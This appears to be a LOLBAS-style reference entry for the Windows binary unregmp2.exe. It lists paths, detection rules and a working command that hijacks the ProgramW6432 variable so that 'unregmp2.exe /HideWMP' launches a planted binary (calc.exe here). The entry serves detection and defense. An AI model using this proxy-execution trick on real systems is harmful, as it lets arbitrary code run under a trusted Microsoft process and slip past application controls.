



Microsoft Windows Media Player Setup Utility

Paths:

C:\Windows\System32\unregmp2.exe C:\Windows\SysWOW64\unregmp2.exe

Resources:

https://twitter.com/notwhickey/status/1466588365336293385

Acknowledgements:

• Wade Hickey (<u>@notwhickey</u>)

Detections:

- Sigma: proc_creation_win_lolbin_unregmp2.yml
- IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`

Execute

Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.

rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy
C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set
"ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"

Use case: Proxy execution of binary

Privileges required: User

Operating systems: Windows 10

ATT&CK® technique: T1202: Indirect Command Execution